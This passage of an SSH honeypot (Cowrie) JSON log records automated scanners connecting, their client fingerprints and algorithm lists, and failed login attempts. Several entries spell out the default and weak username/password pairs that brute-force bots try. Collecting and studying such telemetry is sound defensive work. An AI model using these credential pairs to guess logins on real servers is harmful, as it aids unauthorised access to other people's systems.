sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:11.719083Z","src_ip":"91.92.42.227","session":"658c09a8c129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:17.178655Z","src_ip":"91.92.42.227","session":"658c09a8c129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54618,"dst_ip":"10.17.0.5","dst_port":22,"session":"cef523bb8b8c","protocol":"ssh","message":"New connection: 91.92.42.227:54618 (10.17.0.5:22) [session: cef523bb8b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:17.547782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:18.765300Z","src_ip":"91.92.42.227","session":"cef523bb8b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:18.769708Z","src_ip":"91.92.42.227","session":"cef523bb8b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:19.467475Z","src_ip":"91.92.42.227","session":"658c09a8c129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00680756568909,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:20.466705Z","src_ip":"107.6.151.170","session":"c5f40f4250e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:23.339173Z","src_ip":"91.92.42.227","session":"cef523bb8b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.151","src_port":16990,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6aa3243e376","protocol":"ssh","message":"New connection: 45.148.10.151:16990 (10.17.0.5:22) [session: c6aa3243e376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:23.532486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:23.536924Z","src_ip":"45.148.10.151","session":"c6aa3243e376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:23.628594Z","src_ip":"45.148.10.151","session":"c6aa3243e376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:24.033449Z","src_ip":"45.148.10.151","session":"c6aa3243e376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:25.678312Z","src_ip":"91.92.42.227","session":"cef523bb8b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56926,"dst_ip":"10.17.0.5","dst_port":22,"session":"15a19f455c23","protocol":"ssh","message":"New connection: 91.92.42.227:56926 (10.17.0.5:22) [session: 15a19f455c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:25.726107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:26.509758Z","src_ip":"91.92.42.227","session":"15a19f455c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:26.513302Z","src_ip":"91.92.42.227","session":"15a19f455c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:30.222530Z","src_ip":"91.92.42.227","session":"15a19f455c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:32.319989Z","src_ip":"91.92.42.227","session":"15a19f455c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":56962,"dst_ip":"10.17.0.5","dst_port":22,"session":"e91c8cca612e","protocol":"ssh","message":"New connection: 91.92.42.227:56962 (10.17.0.5:22) [session: e91c8cca612e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:33.123212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:33.772075Z","src_ip":"91.92.42.227","session":"e91c8cca612e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:33.776254Z","src_ip":"91.92.42.227","session":"e91c8cca612e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":50322,"dst_ip":"10.17.0.5","dst_port":22,"session":"cce935ef9b21","protocol":"ssh","message":"New connection: 103.248.120.6:50322 (10.17.0.5:22) [session: cce935ef9b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:37.628181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:37.636606Z","src_ip":"103.248.120.6","session":"cce935ef9b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:37.932637Z","src_ip":"91.92.42.227","session":"e91c8cca612e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:38.530847Z","src_ip":"103.248.120.6","session":"cce935ef9b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123456","message":"login attempt [dmdba/dmdba@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:39.460689Z","src_ip":"103.248.120.6","session":"cce935ef9b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44432,"dst_ip":"10.17.0.5","dst_port":22,"session":"21cbeb60bb05","protocol":"ssh","message":"New connection: 91.92.42.227:44432 (10.17.0.5:22) [session: 21cbeb60bb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:39.541377Z"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:40.040606Z","src_ip":"91.92.42.227","session":"e91c8cca612e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:40.515970Z","src_ip":"91.92.42.227","session":"21cbeb60bb05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:40.543539Z","src_ip":"91.92.42.227","session":"21cbeb60bb05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:40.687386Z","src_ip":"103.248.120.6","session":"cce935ef9b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:45.704183Z","src_ip":"91.92.42.227","session":"21cbeb60bb05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58890,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcfc90c341fe","protocol":"ssh","message":"New connection: 91.92.42.227:58890 (10.17.0.5:22) [session: bcfc90c341fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:46.628233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:47.644915Z","src_ip":"91.92.42.227","session":"bcfc90c341fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:47.648659Z","src_ip":"91.92.42.227","session":"bcfc90c341fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:47.786582Z","src_ip":"91.92.42.227","session":"21cbeb60bb05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40275,"dst_ip":"159.203.135.109","dst_port":22,"session":"0429e2707489","protocol":"ssh","message":"New connection: 168.167.228.74:40275 (159.203.135.109:22) [session: 0429e2707489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:52.996182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:53.002458Z","src_ip":"168.167.228.74","session":"0429e2707489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:53.253547Z","src_ip":"168.167.228.74","session":"0429e2707489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58946,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0216519fe7c","protocol":"ssh","message":"New connection: 91.92.42.227:58946 (10.17.0.5:22) [session: a0216519fe7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:53.306223Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:53.482121Z","src_ip":"91.92.42.227","session":"bcfc90c341fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaa8888","message":"login attempt [root/aaaa8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:54.309581Z","src_ip":"168.167.228.74","session":"0429e2707489","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:54.523051Z","src_ip":"91.92.42.227","session":"a0216519fe7c","protocol":"ssh"}
